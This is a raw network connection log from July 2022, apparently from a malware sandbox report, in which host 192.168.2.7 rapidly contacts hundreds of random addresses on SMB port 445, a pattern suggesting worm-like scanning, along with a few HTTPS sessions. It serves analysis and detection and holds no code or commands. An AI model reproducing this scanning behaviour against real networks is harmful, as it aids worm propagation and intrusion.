Jul 20, 2022 19:09:08.263700008 CEST	53853	445	192.168.2.7	31.102.143.126
Jul 20, 2022 19:09:08.263977051 CEST	53861	445	192.168.2.7	124.85.248.132
Jul 20, 2022 19:09:08.263983965 CEST	53862	445	192.168.2.7	180.5.233.140
Jul 20, 2022 19:09:08.264111996 CEST	53864	445	192.168.2.7	143.108.214.143
Jul 20, 2022 19:09:08.264149904 CEST	53865	445	192.168.2.7	49.102.233.209
Jul 20, 2022 19:09:08.264228106 CEST	53866	445	192.168.2.7	210.211.69.201
Jul 20, 2022 19:09:08.264311075 CEST	53868	445	192.168.2.7	206.11.231.228
Jul 20, 2022 19:09:08.264348030 CEST	53869	445	192.168.2.7	23.96.148.166
Jul 20, 2022 19:09:08.264411926 CEST	53870	445	192.168.2.7	155.130.219.28
Jul 20, 2022 19:09:08.264435053 CEST	53871	445	192.168.2.7	55.110.25.42
Jul 20, 2022 19:09:08.264512062 CEST	53872	445	192.168.2.7	197.103.176.97
Jul 20, 2022 19:09:08.264566898 CEST	53873	445	192.168.2.7	104.166.36.189
Jul 20, 2022 19:09:08.286238909 CEST	53875	445	192.168.2.7	139.246.16.107
Jul 20, 2022 19:09:08.286992073 CEST	53876	445	192.168.2.7	208.216.95.187
Jul 20, 2022 19:09:08.289587021 CEST	53880	445	192.168.2.7	69.214.212.141
Jul 20, 2022 19:09:08.290282965 CEST	53881	445	192.168.2.7	44.172.243.55
Jul 20, 2022 19:09:08.303937912 CEST	53884	445	192.168.2.7	100.202.227.78
Jul 20, 2022 19:09:08.304050922 CEST	53885	445	192.168.2.7	10.153.82.158
Jul 20, 2022 19:09:08.304192066 CEST	53886	445	192.168.2.7	92.162.236.242
Jul 20, 2022 19:09:08.304318905 CEST	53889	445	192.168.2.7	59.165.158.252
Jul 20, 2022 19:09:08.304419994 CEST	53890	445	192.168.2.7	217.131.45.164
Jul 20, 2022 19:09:09.162384987 CEST	53897	445	192.168.2.7	159.251.45.5
Jul 20, 2022 19:09:09.163113117 CEST	53898	445	192.168.2.7	69.21.183.1
Jul 20, 2022 19:09:09.168212891 CEST	53899	445	192.168.2.7	116.115.253.233
Jul 20, 2022 19:09:09.223947048 CEST	53903	445	192.168.2.7	35.222.65.91
Jul 20, 2022 19:09:09.329741001 CEST	53907	445	192.168.2.7	166.164.98.235
Jul 20, 2022 19:09:09.373675108 CEST	53911	445	192.168.2.7	196.30.107.205
Jul 20, 2022 19:09:09.381587029 CEST	53912	445	192.168.2.7	16.25.136.161
Jul 20, 2022 19:09:09.387368917 CEST	53914	445	192.168.2.7	164.153.252.182
Jul 20, 2022 19:09:09.387507915 CEST	53913	445	192.168.2.7	79.24.177.178
Jul 20, 2022 19:09:09.387532949 CEST	53916	445	192.168.2.7	64.213.162.128
Jul 20, 2022 19:09:09.387537003 CEST	53915	445	192.168.2.7	79.124.108.206
Jul 20, 2022 19:09:09.387629032 CEST	53917	445	192.168.2.7	51.157.148.146
Jul 20, 2022 19:09:09.387672901 CEST	53918	445	192.168.2.7	42.229.37.198
Jul 20, 2022 19:09:09.387758017 CEST	53920	445	192.168.2.7	168.36.93.134
Jul 20, 2022 19:09:09.387816906 CEST	53921	445	192.168.2.7	73.107.238.187
Jul 20, 2022 19:09:09.387876034 CEST	53923	445	192.168.2.7	47.119.139.38
Jul 20, 2022 19:09:09.387950897 CEST	53924	445	192.168.2.7	154.67.218.31
Jul 20, 2022 19:09:09.388171911 CEST	53932	445	192.168.2.7	36.45.21.24
Jul 20, 2022 19:09:09.388231993 CEST	53933	445	192.168.2.7	186.37.240.226
Jul 20, 2022 19:09:09.388292074 CEST	53935	445	192.168.2.7	111.243.150.12
Jul 20, 2022 19:09:09.388339996 CEST	53936	445	192.168.2.7	174.73.212.177
Jul 20, 2022 19:09:09.410418987 CEST	53940	445	192.168.2.7	51.243.214.144
Jul 20, 2022 19:09:09.411406994 CEST	53942	445	192.168.2.7	3.65.208.233
Jul 20, 2022 19:09:09.412076950 CEST	53943	445	192.168.2.7	168.163.28.184
Jul 20, 2022 19:09:09.414336920 CEST	53947	445	192.168.2.7	147.200.243.126
Jul 20, 2022 19:09:09.429522038 CEST	53948	445	192.168.2.7	166.161.229.82
Jul 20, 2022 19:09:09.430042028 CEST	53949	445	192.168.2.7	120.62.60.69
Jul 20, 2022 19:09:09.431529999 CEST	53952	445	192.168.2.7	44.23.230.46
Jul 20, 2022 19:09:09.432115078 CEST	53953	445	192.168.2.7	52.18.188.28
Jul 20, 2022 19:09:09.432781935 CEST	53954	445	192.168.2.7	42.104.87.20
Jul 20, 2022 19:09:10.287483931 CEST	53963	445	192.168.2.7	178.40.55.114
Jul 20, 2022 19:09:10.287523985 CEST	53964	445	192.168.2.7	44.130.137.150
Jul 20, 2022 19:09:10.287576914 CEST	53965	445	192.168.2.7	129.97.218.9
Jul 20, 2022 19:09:10.348059893 CEST	53968	445	192.168.2.7	108.249.211.235
Jul 20, 2022 19:09:10.443248034 CEST	53973	445	192.168.2.7	77.141.164.172
Jul 20, 2022 19:09:10.489490032 CEST	53976	445	192.168.2.7	177.153.70.83
Jul 20, 2022 19:09:10.538106918 CEST	53980	445	192.168.2.7	120.147.176.236
Jul 20, 2022 19:09:10.538269043 CEST	53982	445	192.168.2.7	77.82.129.30
Jul 20, 2022 19:09:10.538435936 CEST	53984	445	192.168.2.7	88.96.5.149
Jul 20, 2022 19:09:10.538470984 CEST	53985	445	192.168.2.7	64.251.22.86
Jul 20, 2022 19:09:10.538688898 CEST	53991	445	192.168.2.7	222.132.247.138
Jul 20, 2022 19:09:10.539037943 CEST	53994	445	192.168.2.7	62.127.183.239
Jul 20, 2022 19:09:10.541687012 CEST	53996	445	192.168.2.7	46.223.139.49
Jul 20, 2022 19:09:10.541781902 CEST	53997	445	192.168.2.7	30.235.188.54
Jul 20, 2022 19:09:10.541906118 CEST	53999	445	192.168.2.7	115.128.74.135
Jul 20, 2022 19:09:10.541989088 CEST	54000	445	192.168.2.7	35.169.140.74
Jul 20, 2022 19:09:10.542068005 CEST	54001	445	192.168.2.7	62.171.1.179
Jul 20, 2022 19:09:10.542145967 CEST	54002	445	192.168.2.7	98.191.183.248
Jul 20, 2022 19:09:10.542226076 CEST	54003	445	192.168.2.7	20.174.85.167
Jul 20, 2022 19:09:10.542305946 CEST	54004	445	192.168.2.7	144.53.162.96
Jul 20, 2022 19:09:10.542382002 CEST	54005	445	192.168.2.7	12.244.203.232
Jul 20, 2022 19:09:10.545535088 CEST	54006	445	192.168.2.7	210.153.76.16
Jul 20, 2022 19:09:10.545680046 CEST	54010	445	192.168.2.7	123.155.86.157
Jul 20, 2022 19:09:10.545764923 CEST	54011	445	192.168.2.7	185.71.99.72
Jul 20, 2022 19:09:10.545871973 CEST	54013	445	192.168.2.7	72.20.248.80
Jul 20, 2022 19:09:10.551876068 CEST	54014	445	192.168.2.7	8.149.5.48
Jul 20, 2022 19:09:10.552407026 CEST	54015	445	192.168.2.7	72.135.180.46
Jul 20, 2022 19:09:10.554044962 CEST	54018	445	192.168.2.7	2.128.203.164
Jul 20, 2022 19:09:10.554611921 CEST	54019	445	192.168.2.7	219.85.17.2
Jul 20, 2022 19:09:10.555139065 CEST	54020	445	192.168.2.7	22.188.236.58
Jul 20, 2022 19:09:10.723757982 CEST	445	54002	98.191.183.248	192.168.2.7
Jul 20, 2022 19:09:11.237958908 CEST	54002	445	192.168.2.7	98.191.183.248
Jul 20, 2022 19:09:11.419759035 CEST	54030	445	192.168.2.7	207.69.81.147
Jul 20, 2022 19:09:11.419853926 CEST	54033	445	192.168.2.7	48.241.205.36
Jul 20, 2022 19:09:11.419856071 CEST	54031	445	192.168.2.7	144.131.194.223
Jul 20, 2022 19:09:11.424633980 CEST	445	54002	98.191.183.248	192.168.2.7
Jul 20, 2022 19:09:11.473150015 CEST	54035	445	192.168.2.7	79.115.123.160
Jul 20, 2022 19:09:11.568203926 CEST	54040	445	192.168.2.7	81.145.16.76
Jul 20, 2022 19:09:11.614470005 CEST	54043	445	192.168.2.7	182.182.226.64
Jul 20, 2022 19:09:11.672084093 CEST	54046	445	192.168.2.7	84.147.85.246
Jul 20, 2022 19:09:11.684485912 CEST	54049	445	192.168.2.7	81.213.209.7
Jul 20, 2022 19:09:11.684680939 CEST	54051	445	192.168.2.7	33.69.249.37
Jul 20, 2022 19:09:11.684684038 CEST	54052	445	192.168.2.7	24.193.169.219
Jul 20, 2022 19:09:11.684731007 CEST	54054	445	192.168.2.7	80.195.221.174
Jul 20, 2022 19:09:11.684811115 CEST	54053	445	192.168.2.7	34.91.51.160
Jul 20, 2022 19:09:11.684885979 CEST	54056	445	192.168.2.7	175.45.139.175
Jul 20, 2022 19:09:11.684911013 CEST	54055	445	192.168.2.7	146.163.191.60
Jul 20, 2022 19:09:11.685014009 CEST	54057	445	192.168.2.7	156.208.167.23
Jul 20, 2022 19:09:11.685087919 CEST	54059	445	192.168.2.7	36.137.11.147
Jul 20, 2022 19:09:11.685187101 CEST	54061	445	192.168.2.7	153.158.146.0
Jul 20, 2022 19:09:11.685338974 CEST	54065	445	192.168.2.7	157.212.163.108
Jul 20, 2022 19:09:11.685340881 CEST	54063	445	192.168.2.7	193.236.252.144
Jul 20, 2022 19:09:11.699126005 CEST	54066	445	192.168.2.7	29.200.35.146
Jul 20, 2022 19:09:11.699297905 CEST	54068	445	192.168.2.7	73.199.189.177
Jul 20, 2022 19:09:11.699446917 CEST	54069	445	192.168.2.7	125.12.153.199
Jul 20, 2022 19:09:11.699830055 CEST	54076	445	192.168.2.7	15.239.242.106
Jul 20, 2022 19:09:11.699997902 CEST	54077	445	192.168.2.7	42.143.179.79
Jul 20, 2022 19:09:11.700099945 CEST	54080	445	192.168.2.7	146.248.0.180
Jul 20, 2022 19:09:11.707441092 CEST	54082	445	192.168.2.7	49.239.191.109
Jul 20, 2022 19:09:11.707542896 CEST	54081	445	192.168.2.7	124.194.10.149
Jul 20, 2022 19:09:11.707624912 CEST	54085	445	192.168.2.7	202.141.122.143
Jul 20, 2022 19:09:11.707706928 CEST	54086	445	192.168.2.7	1.254.101.79
Jul 20, 2022 19:09:11.707839012 CEST	54087	445	192.168.2.7	221.221.29.31
Jul 20, 2022 19:09:12.441210032 CEST	53214	445	192.168.2.7	192.56.37.106
Jul 20, 2022 19:09:12.542908907 CEST	54096	445	192.168.2.7	190.198.162.182
Jul 20, 2022 19:09:12.543102980 CEST	54099	445	192.168.2.7	12.241.147.20
Jul 20, 2022 19:09:12.543215036 CEST	54101	445	192.168.2.7	39.8.62.70
Jul 20, 2022 19:09:12.599363089 CEST	54103	445	192.168.2.7	10.6.33.6
Jul 20, 2022 19:09:12.613126993 CEST	53256	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:12.693242073 CEST	54107	445	192.168.2.7	132.191.135.127
Jul 20, 2022 19:09:12.755454063 CEST	54111	445	192.168.2.7	108.184.104.248
Jul 20, 2022 19:09:12.818144083 CEST	54114	445	192.168.2.7	137.160.1.190
Jul 20, 2022 19:09:12.818726063 CEST	54115	445	192.168.2.7	121.235.157.251
Jul 20, 2022 19:09:12.819418907 CEST	54116	445	192.168.2.7	30.227.177.246
Jul 20, 2022 19:09:12.821026087 CEST	54119	445	192.168.2.7	55.11.98.145
Jul 20, 2022 19:09:12.822411060 CEST	54121	445	192.168.2.7	124.97.75.1
Jul 20, 2022 19:09:12.823447943 CEST	54123	445	192.168.2.7	34.247.43.229
Jul 20, 2022 19:09:12.824021101 CEST	54124	445	192.168.2.7	202.186.150.31
Jul 20, 2022 19:09:12.824523926 CEST	54125	445	192.168.2.7	169.115.117.234
Jul 20, 2022 19:09:12.825057983 CEST	54126	445	192.168.2.7	219.233.46.119
Jul 20, 2022 19:09:12.825644016 CEST	54127	445	192.168.2.7	168.170.178.84
Jul 20, 2022 19:09:12.838493109 CEST	54128	445	192.168.2.7	94.244.76.123
Jul 20, 2022 19:09:12.846539021 CEST	54129	445	192.168.2.7	189.156.188.113
Jul 20, 2022 19:09:12.849695921 CEST	54130	445	192.168.2.7	219.14.198.55
Jul 20, 2022 19:09:12.849981070 CEST	54135	445	192.168.2.7	111.245.34.66
Jul 20, 2022 19:09:12.850024939 CEST	54134	445	192.168.2.7	182.134.51.31
Jul 20, 2022 19:09:12.850214005 CEST	54138	445	192.168.2.7	76.23.170.64
Jul 20, 2022 19:09:12.850238085 CEST	54139	445	192.168.2.7	72.76.191.210
Jul 20, 2022 19:09:12.850465059 CEST	54145	445	192.168.2.7	173.126.6.35
Jul 20, 2022 19:09:12.850517035 CEST	54146	445	192.168.2.7	154.218.58.34
Jul 20, 2022 19:09:12.850624084 CEST	54147	445	192.168.2.7	86.246.168.190
Jul 20, 2022 19:09:12.850701094 CEST	54149	445	192.168.2.7	208.30.248.198
Jul 20, 2022 19:09:12.850702047 CEST	54148	445	192.168.2.7	104.24.217.30
Jul 20, 2022 19:09:12.850841999 CEST	54152	445	192.168.2.7	168.101.229.109
Jul 20, 2022 19:09:12.850858927 CEST	54153	445	192.168.2.7	13.6.213.93
Jul 20, 2022 19:09:12.941271067 CEST	53259	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:13.662385941 CEST	54166	445	192.168.2.7	201.246.253.126
Jul 20, 2022 19:09:13.663177967 CEST	54167	445	192.168.2.7	22.148.1.24
Jul 20, 2022 19:09:13.663918972 CEST	54168	445	192.168.2.7	8.70.238.206
Jul 20, 2022 19:09:13.709774971 CEST	54171	445	192.168.2.7	90.136.168.172
Jul 20, 2022 19:09:13.839999914 CEST	54175	445	192.168.2.7	137.65.243.197
Jul 20, 2022 19:09:13.884810925 CEST	54178	445	192.168.2.7	55.206.150.181
Jul 20, 2022 19:09:13.943300962 CEST	54182	445	192.168.2.7	131.83.213.30
Jul 20, 2022 19:09:13.944056988 CEST	54183	445	192.168.2.7	35.250.112.70
Jul 20, 2022 19:09:13.944698095 CEST	54184	445	192.168.2.7	176.179.201.160
Jul 20, 2022 19:09:13.946448088 CEST	54187	445	192.168.2.7	137.112.188.184
Jul 20, 2022 19:09:13.947511911 CEST	54189	445	192.168.2.7	102.0.53.233
Jul 20, 2022 19:09:13.948570013 CEST	54191	445	192.168.2.7	132.166.222.188
Jul 20, 2022 19:09:13.949104071 CEST	54192	445	192.168.2.7	142.253.206.33
Jul 20, 2022 19:09:13.949642897 CEST	54193	445	192.168.2.7	146.94.114.219
Jul 20, 2022 19:09:13.950171947 CEST	54194	445	192.168.2.7	214.50.31.21
Jul 20, 2022 19:09:13.950738907 CEST	54195	445	192.168.2.7	190.105.67.171
Jul 20, 2022 19:09:13.958038092 CEST	54196	445	192.168.2.7	179.136.91.42
Jul 20, 2022 19:09:13.979101896 CEST	54197	445	192.168.2.7	31.183.62.153
Jul 20, 2022 19:09:13.996494055 CEST	54202	445	192.168.2.7	140.146.149.45
Jul 20, 2022 19:09:13.996510983 CEST	54203	445	192.168.2.7	189.173.211.192
Jul 20, 2022 19:09:13.996721029 CEST	54207	445	192.168.2.7	215.69.254.227
Jul 20, 2022 19:09:13.996802092 CEST	54209	445	192.168.2.7	70.195.220.243
Jul 20, 2022 19:09:13.996804953 CEST	54210	445	192.168.2.7	165.225.64.15
Jul 20, 2022 19:09:13.996920109 CEST	54212	445	192.168.2.7	62.40.149.230
Jul 20, 2022 19:09:13.997113943 CEST	54217	445	192.168.2.7	24.23.17.195
Jul 20, 2022 19:09:13.997150898 CEST	54219	445	192.168.2.7	141.235.245.247
Jul 20, 2022 19:09:13.997236967 CEST	54220	445	192.168.2.7	154.48.68.225
Jul 20, 2022 19:09:13.997333050 CEST	54221	445	192.168.2.7	72.134.107.54
Jul 20, 2022 19:09:13.997344971 CEST	54222	445	192.168.2.7	168.104.218.55
Jul 20, 2022 19:09:13.997510910 CEST	54225	445	192.168.2.7	73.47.123.58
Jul 20, 2022 19:09:14.637176991 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.637243986 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.637357950 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.638159037 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.638200045 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.737468958 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.737682104 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.746318102 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.746344090 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.746967077 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.784013033 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.784085035 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.784126997 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.784245968 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.803529978 CEST	54233	445	192.168.2.7	199.33.123.227
Jul 20, 2022 19:09:14.804038048 CEST	54234	445	192.168.2.7	85.70.207.104
Jul 20, 2022 19:09:14.804601908 CEST	54235	445	192.168.2.7	112.200.82.130
Jul 20, 2022 19:09:14.811810017 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.811949015 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.812079906 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.812207937 CEST	54230	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:14.812237024 CEST	443	54230	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:14.888283014 CEST	54240	445	192.168.2.7	145.13.11.72
Jul 20, 2022 19:09:15.002722025 CEST	54245	445	192.168.2.7	211.65.248.173
Jul 20, 2022 19:09:15.007813931 CEST	54247	445	192.168.2.7	87.147.115.197
Jul 20, 2022 19:09:15.123089075 CEST	54254	445	192.168.2.7	188.238.119.249
Jul 20, 2022 19:09:15.123702049 CEST	54255	445	192.168.2.7	180.148.101.19
Jul 20, 2022 19:09:15.124291897 CEST	54256	445	192.168.2.7	122.252.180.234
Jul 20, 2022 19:09:15.124881983 CEST	54257	445	192.168.2.7	9.51.62.229
Jul 20, 2022 19:09:15.125469923 CEST	54258	445	192.168.2.7	63.197.189.254
Jul 20, 2022 19:09:15.126049995 CEST	54259	445	192.168.2.7	135.237.50.150
Jul 20, 2022 19:09:15.126588106 CEST	54260	445	192.168.2.7	166.39.110.142
Jul 20, 2022 19:09:15.127682924 CEST	54262	445	192.168.2.7	174.116.15.106
Jul 20, 2022 19:09:15.128736019 CEST	54264	445	192.168.2.7	197.127.146.55
Jul 20, 2022 19:09:15.166487932 CEST	445	54254	188.238.119.249	192.168.2.7
Jul 20, 2022 19:09:15.346306086 CEST	54267	445	192.168.2.7	91.185.43.82
Jul 20, 2022 19:09:15.346862078 CEST	54268	445	192.168.2.7	144.213.173.122
Jul 20, 2022 19:09:15.347393990 CEST	54269	445	192.168.2.7	215.79.136.212
Jul 20, 2022 19:09:15.349323034 CEST	54271	445	192.168.2.7	13.127.33.123
Jul 20, 2022 19:09:15.350454092 CEST	54273	445	192.168.2.7	10.77.239.52
Jul 20, 2022 19:09:15.351993084 CEST	54276	445	192.168.2.7	22.189.113.247
Jul 20, 2022 19:09:15.352545977 CEST	54277	445	192.168.2.7	10.167.48.194
Jul 20, 2022 19:09:15.359880924 CEST	54278	445	192.168.2.7	216.42.213.176
Jul 20, 2022 19:09:15.372565985 CEST	54281	445	192.168.2.7	115.175.147.247
Jul 20, 2022 19:09:15.372813940 CEST	54287	445	192.168.2.7	219.78.29.189
Jul 20, 2022 19:09:15.372900009 CEST	54288	445	192.168.2.7	56.53.72.63
Jul 20, 2022 19:09:15.372992039 CEST	54289	445	192.168.2.7	134.0.61.43
Jul 20, 2022 19:09:15.373111963 CEST	54290	445	192.168.2.7	34.99.182.186
Jul 20, 2022 19:09:15.373167038 CEST	54291	445	192.168.2.7	209.57.15.211
Jul 20, 2022 19:09:15.373327971 CEST	54294	445	192.168.2.7	85.36.133.110
Jul 20, 2022 19:09:15.723073006 CEST	54254	445	192.168.2.7	188.238.119.249
Jul 20, 2022 19:09:15.766911983 CEST	445	54254	188.238.119.249	192.168.2.7
Jul 20, 2022 19:09:16.002696991 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:16.162290096 CEST	54302	445	192.168.2.7	196.202.147.119
Jul 20, 2022 19:09:16.164069891 CEST	54305	445	192.168.2.7	170.57.104.99
Jul 20, 2022 19:09:16.165383101 CEST	54306	445	192.168.2.7	54.11.68.21
Jul 20, 2022 19:09:16.165457010 CEST	54307	445	192.168.2.7	210.162.91.165
Jul 20, 2022 19:09:16.169259071 CEST	54315	445	192.168.2.7	5.185.87.97
Jul 20, 2022 19:09:16.183505058 CEST	54317	445	192.168.2.7	139.90.219.104
Jul 20, 2022 19:09:16.184880972 CEST	445	54298	192.56.37.1	192.168.2.7
Jul 20, 2022 19:09:16.185025930 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:16.272155046 CEST	54321	445	192.168.2.7	54.201.76.190
Jul 20, 2022 19:09:16.273250103 CEST	54323	445	192.168.2.7	75.196.18.247
Jul 20, 2022 19:09:16.275563002 CEST	54328	445	192.168.2.7	126.90.35.164
Jul 20, 2022 19:09:16.276290894 CEST	54329	445	192.168.2.7	175.160.105.40
Jul 20, 2022 19:09:16.277122021 CEST	54330	445	192.168.2.7	95.45.7.102
Jul 20, 2022 19:09:16.277621031 CEST	54331	445	192.168.2.7	178.49.232.71
Jul 20, 2022 19:09:16.278178930 CEST	54332	445	192.168.2.7	118.107.144.184
Jul 20, 2022 19:09:16.278704882 CEST	54333	445	192.168.2.7	219.23.45.146
Jul 20, 2022 19:09:16.279222012 CEST	54334	445	192.168.2.7	45.9.198.237
Jul 20, 2022 19:09:16.738477945 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:16.827028990 CEST	54337	445	192.168.2.7	15.73.16.157
Jul 20, 2022 19:09:16.829898119 CEST	54343	445	192.168.2.7	106.171.191.173
Jul 20, 2022 19:09:16.830965996 CEST	54344	445	192.168.2.7	74.95.105.35
Jul 20, 2022 19:09:16.831556082 CEST	54345	445	192.168.2.7	78.123.80.216
Jul 20, 2022 19:09:17.238507986 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:17.423696041 CEST	54346	445	192.168.2.7	115.103.95.49
Jul 20, 2022 19:09:17.424381018 CEST	54347	445	192.168.2.7	123.128.219.187
Jul 20, 2022 19:09:17.425905943 CEST	54350	445	192.168.2.7	29.165.18.141
Jul 20, 2022 19:09:17.517437935 CEST	54351	445	192.168.2.7	80.187.168.64
Jul 20, 2022 19:09:17.518048048 CEST	54352	445	192.168.2.7	111.91.148.102
Jul 20, 2022 19:09:17.518726110 CEST	54353	445	192.168.2.7	170.130.79.248
Jul 20, 2022 19:09:17.525974989 CEST	54356	445	192.168.2.7	150.202.134.63
Jul 20, 2022 19:09:17.527124882 CEST	54358	445	192.168.2.7	160.65.66.100
Jul 20, 2022 19:09:17.529098034 CEST	54362	445	192.168.2.7	33.178.109.244
Jul 20, 2022 19:09:17.529638052 CEST	54363	445	192.168.2.7	20.206.209.131
Jul 20, 2022 19:09:17.530178070 CEST	54364	445	192.168.2.7	28.29.202.128
Jul 20, 2022 19:09:17.592958927 CEST	54367	445	192.168.2.7	116.175.155.162
Jul 20, 2022 19:09:17.594022989 CEST	54369	445	192.168.2.7	32.169.25.54
Jul 20, 2022 19:09:17.596471071 CEST	54374	445	192.168.2.7	195.249.34.125
Jul 20, 2022 19:09:17.597081900 CEST	54375	445	192.168.2.7	209.151.114.89
Jul 20, 2022 19:09:17.597615957 CEST	54376	445	192.168.2.7	112.152.86.35
Jul 20, 2022 19:09:17.598212957 CEST	54377	445	192.168.2.7	61.64.151.187
Jul 20, 2022 19:09:17.616746902 CEST	54378	445	192.168.2.7	107.107.38.170
Jul 20, 2022 19:09:17.618648052 CEST	54379	445	192.168.2.7	172.90.149.121
Jul 20, 2022 19:09:17.618777990 CEST	54380	445	192.168.2.7	43.202.240.176
Jul 20, 2022 19:09:17.618837118 CEST	54381	445	192.168.2.7	67.126.243.251
Jul 20, 2022 19:09:17.619111061 CEST	54387	445	192.168.2.7	110.76.180.211
Jul 20, 2022 19:09:17.619230032 CEST	54390	445	192.168.2.7	94.69.100.251
Jul 20, 2022 19:09:17.619324923 CEST	54391	445	192.168.2.7	57.112.181.44
Jul 20, 2022 19:09:17.619390965 CEST	54392	445	192.168.2.7	199.253.103.221
Jul 20, 2022 19:09:17.619673014 CEST	54400	445	192.168.2.7	97.71.237.51
Jul 20, 2022 19:09:17.833933115 CEST	445	54379	172.90.149.121	192.168.2.7
Jul 20, 2022 19:09:18.072573900 CEST	54405	445	192.168.2.7	143.124.19.245
Jul 20, 2022 19:09:18.073173046 CEST	54406	445	192.168.2.7	167.118.65.145
Jul 20, 2022 19:09:18.074671984 CEST	54409	445	192.168.2.7	107.69.15.106
Jul 20, 2022 19:09:18.078533888 CEST	54415	445	192.168.2.7	38.103.16.46
Jul 20, 2022 19:09:18.328386068 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.328430891 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.328610897 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.329420090 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.329437017 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.341180086 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:18.422835112 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.422940016 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.425709009 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.425723076 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.425998926 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.426023960 CEST	54379	445	192.168.2.7	172.90.149.121
Jul 20, 2022 19:09:18.439834118 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.439917088 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.439929008 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.440155029 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.469027996 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.469116926 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.469242096 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.471263885 CEST	54416	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:09:18.471287966 CEST	443	54416	20.199.120.151	192.168.2.7
Jul 20, 2022 19:09:18.538724899 CEST	54417	445	192.168.2.7	193.108.34.39
Jul 20, 2022 19:09:18.538728952 CEST	54418	445	192.168.2.7	43.226.35.127
Jul 20, 2022 19:09:18.630213976 CEST	54421	445	192.168.2.7	185.235.70.243
Jul 20, 2022 19:09:18.630795002 CEST	54422	445	192.168.2.7	68.85.174.230
Jul 20, 2022 19:09:18.631362915 CEST	54423	445	192.168.2.7	194.47.142.68
Jul 20, 2022 19:09:18.631937027 CEST	54424	445	192.168.2.7	85.45.212.111
Jul 20, 2022 19:09:18.648670912 CEST	445	54379	172.90.149.121	192.168.2.7
Jul 20, 2022 19:09:18.649204016 CEST	54427	445	192.168.2.7	107.224.174.150
Jul 20, 2022 19:09:18.649415970 CEST	54428	445	192.168.2.7	214.60.205.18
Jul 20, 2022 19:09:18.649600983 CEST	54433	445	192.168.2.7	109.0.65.247
Jul 20, 2022 19:09:18.649614096 CEST	54434	445	192.168.2.7	73.242.181.29
Jul 20, 2022 19:09:18.649795055 CEST	54436	445	192.168.2.7	35.203.201.151
Jul 20, 2022 19:09:18.746963978 CEST	54439	445	192.168.2.7	67.153.183.150
Jul 20, 2022 19:09:18.747045040 CEST	54440	445	192.168.2.7	11.161.101.87
Jul 20, 2022 19:09:18.747124910 CEST	54442	445	192.168.2.7	114.198.176.214
Jul 20, 2022 19:09:18.747133970 CEST	54441	445	192.168.2.7	191.88.124.140
Jul 20, 2022 19:09:18.747369051 CEST	54449	445	192.168.2.7	79.160.210.43
Jul 20, 2022 19:09:18.747592926 CEST	54451	445	192.168.2.7	10.208.13.169
Jul 20, 2022 19:09:18.747602940 CEST	54448	445	192.168.2.7	77.194.161.222
Jul 20, 2022 19:09:18.747883081 CEST	54453	445	192.168.2.7	173.254.25.19
Jul 20, 2022 19:09:18.748054981 CEST	54459	445	192.168.2.7	147.66.5.57
Jul 20, 2022 19:09:18.748187065 CEST	54461	445	192.168.2.7	52.155.147.164
Jul 20, 2022 19:09:18.748267889 CEST	54462	445	192.168.2.7	25.107.136.80
Jul 20, 2022 19:09:18.748389959 CEST	54463	445	192.168.2.7	47.105.142.232
Jul 20, 2022 19:09:18.748465061 CEST	54464	445	192.168.2.7	133.72.42.140
Jul 20, 2022 19:09:18.748553038 CEST	54465	445	192.168.2.7	108.174.96.142
Jul 20, 2022 19:09:18.748656034 CEST	54467	445	192.168.2.7	221.191.199.46
Jul 20, 2022 19:09:18.913474083 CEST	445	54453	173.254.25.19	192.168.2.7
